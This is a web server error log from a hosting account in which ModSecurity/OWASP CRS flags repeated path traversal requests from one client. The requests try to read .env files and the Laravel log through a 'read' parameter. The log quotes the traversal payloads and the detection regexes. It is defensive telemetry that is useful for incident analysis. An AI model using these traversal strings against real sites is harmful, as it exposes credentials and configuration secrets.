[Fri Jul 17 08:55:06.294910 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTS_gAAAAM"]
[Fri Jul 17 08:55:06.294983 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.295306 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkuYpb_TFRze2EO3zUAAAAAE"]
[Fri Jul 17 08:55:06.297403 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?read=..%2F..%2F..%2F..%2F.env&anything=6nrarUMm0emG4QIvt1a5AAew7NUVRHHB0qKmJbfUkF_7r9FfqKk9Pm9D3N5Rv16gtb9fequWXpxewjRwPo0yZo0cz8QudhfrT8P7ikWANfebnUzdfmguuuD-TFkA4DWcpTfNKGM4zZ8mE91bDkwNeGvuEmtR3uTs4cs3VUTUcIY_y1MtmGi2KvyVrJ4E4Fso9X0nqGhNtAfwcaVxSRaLFuzlnk-kLLQU_ocH7qbjGcJt78_4OV8Mga4Dcc8V4ly2HU0quWHxecsCUPi2JUqi5rPY&extra=NXBKEXOQ5I6AABUG3FV6ANKVIQMUG7L5S5WCM55VLOLF3DLN5AKLTZVI5F4I6EMAMY4CMOYZD3HGVAI5XZAGYNLB6TEIUEDVQK764DLRE3KGBWGD4L5TXJY6NJOQD3DZ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUSAAAABI"]
[Fri Jul 17 08:55:06.297460 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUSAAAABI"]
[Fri Jul 17 08:55:06.297505 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../../../.env&anything=6nrarUMm0emG4QIvt1a5AAew7NUVRHHB0qKmJbfUkF_7r9FfqKk9Pm9D3N5Rv16gtb9fequWXpxewjRwPo0yZo0cz8QudhfrT8P7ikWANfebnUzdfmguuuD-TFkA4DWcpTfNKGM4zZ8mE91bDkwNeGvuEmtR3uTs4cs3VUTUcIY_y1MtmGi2KvyVrJ4E4Fso9X0nqGhNtAfwcaVxSRaLFuzlnk-kLLQU_ocH7qbjGcJt78_4OV8Mga4Dcc8V4ly2HU0quWHxecsCUPi2JUqi5rPY&extra=NXBKEXOQ5I6AABUG3FV6ANKVIQMUG7L5S5WCM55VLOLF3DLN5AKLTZVI5F4I6EMAMY4CMOYZD3HGVAI5XZAGYNLB6TEIUEDVQK764DLRE3KGBWGD4L5TXJY6NJOQD3DZIPS2UMQFQ6ZUOPJG..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUSAAAABI"]
[Fri Jul 17 08:55:06.297534 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../../../.env&anything=6nrarumm0emg4qivt1a5aaew7nuvrhhb0qkmjbfukf_7r9ffqkk9pm9d3n5rv16gtb9fequwxpxewjrwpo0yzo0cz8qudhfrt8p7ikwanfebnuzdfmguuud-tfka4dwcptfnkgm4zz8me91bdkwnegvuemtr3uts4cs3vutuciy_y1mtmgi2kvyvrj4e4fso9x0nqghntafwcavxsralfuzlnk-kllqu_och7qbjgcjt78_4ov8mga4dcc8v4ly2hu0quwhxecscupi2juqi5rpy&extra=nxbkexoq5i6aabug3fv6ankviqmug7l5s5wcm55vlolf3dln5akltzvi5f4i6emamy4cmoyzd3hgvai5xzagynlb6teiuedvqk764dlre3kgbwgd4l5txjy6njoqd3dzips2umqfq6zuopjg..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUSAAAABI"]
[Fri Jul 17 08:55:06.297554 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUSAAAABI"]
[Fri Jul 17 08:55:06.297575 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUSAAAABI"]
[Fri Jul 17 08:55:06.298815 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUSAAAABI"]
[Fri Jul 17 08:55:06.298952 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.299265 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkl1_86A5R6msWNfUSAAAABI"]
[Fri Jul 17 08:55:06.300715 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?read=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&sid=YsQY_eC04XKXezuUCN3-nxE87fdG49Q6TYcQMDhPWh4M1ZjjPcoPd13-prfjuXA86hEgsxSejobgkfo92AcrU_QNZdYCFleePBkc7OyCAOXHXM_wLSSb0zDSh-k8w98HKhbBNmB6x_V6wllaOajQMF-sTxWFmwSEsID8H8ov-TZQxwm1-CZAeNg2eWLEdevuDJNEnkT-axAA0lSx_XdSp9nK4tF_1hVFsPMG8WuEmDGPV7bKbqQYfxxN0xlmMx9ILH6uPa0_wpGlcMneSs9xp-LE&ts=7KAN3QEBPYSPM4XDIGML37SBRG5X5GJLPCQGGPZUWBEB7K76EA3M5P2EXOPVAE7XEZC3CPBNQBU3GDGTMLXNNRUQNIXQRTG6PF3QAYNA7MKHJAK3N3VD5..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASQAAAAU"]
[Fri Jul 17 08:55:06.300758 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASQAAAAU"]
[Fri Jul 17 08:55:06.300833 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../../storage/logs/laravel.log&sid=YsQY_eC04XKXezuUCN3-nxE87fdG49Q6TYcQMDhPWh4M1ZjjPcoPd13-prfjuXA86hEgsxSejobgkfo92AcrU_QNZdYCFleePBkc7OyCAOXHXM_wLSSb0zDSh-k8w98HKhbBNmB6x_V6wllaOajQMF-sTxWFmwSEsID8H8ov-TZQxwm1-CZAeNg2eWLEdevuDJNEnkT-axAA0lSx_XdSp9nK4tF_1hVFsPMG8WuEmDGPV7bKbqQYfxxN0xlmMx9ILH6uPa0_wpGlcMneSs9xp-LE&ts=7KAN3QEBPYSPM4XDIGML37SBRG5X5GJLPCQGGPZUWBEB7K76EA3M5P2EXOPVAE7XEZC3CPBNQBU3GDGTMLXNNRUQNIXQRTG6PF3QAYNA7MKHJAK3N3VD5WJVLD7YS2SZ6PXSWHR..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASQAAAAU"]
[Fri Jul 17 08:55:06.300875 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../../storage/logs/laravel.log&sid=ysqy_ec04xkxezuucn3-nxe87fdg49q6tycqmdhpwh4m1zjjpcopd13-prfjuxa86hegsxsejobgkfo92acru_qnzdycfleepbkc7oycaoxhxm_wlssb0zdsh-k8w98hkhbbnmb6x_v6wllaoajqmf-stxwfmwsesid8h8ov-tzqxwm1-czaeng2ewledevudjnenkt-axaa0lsx_xdsp9nk4tf_1hvfspmg8wuemdgpv7bkbqqyfxxn0xlmmx9ilh6upa0_wpglcmness9xp-le&ts=7kan3qebpyspm4xdigml37sbrg5x5gjlpcqggpzuwbeb7k76ea3m5p2exopvae7xezc3cpbnqbu3gdgtmlxnnruqnixqrtg6pf3qayna7mkhjak3n3vd5wjvld7ys2sz6pxswhr..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASQAAAAU"]
[Fri Jul 17 08:55:06.300897 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASQAAAAU"]
[Fri Jul 17 08:55:06.300915 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASQAAAAU"]
[Fri Jul 17 08:55:06.302184 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASQAAAAU"]
[Fri Jul 17 08:55:06.302342 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.302657 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhAi3pC6yjXGNq2ASQAAAAU"]
[Fri Jul 17 08:55:06.304141 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTS_gAAAAM"]
[Fri Jul 17 08:55:06.304300 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.304573 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhHlOGcokz2QIwTS_gAAAAM"]
[Fri Jul 17 08:55:06.306316 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zUQAAAAE"]
[Fri Jul 17 08:55:06.306375 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zUQAAAAE"]
[Fri Jul 17 08:55:06.307061 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkivekYYQ8uns4MwlHQAAAA0"]
[Fri Jul 17 08:55:06.307100 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkivekYYQ8uns4MwlHQAAAA0"]
[Fri Jul 17 08:55:06.307572 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zUQAAAAE"]
[Fri Jul 17 08:55:06.307726 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.308063 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkuYpb_TFRze2EO3zUQAAAAE"]
[Fri Jul 17 08:55:06.308254 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkivekYYQ8uns4MwlHQAAAA0"]
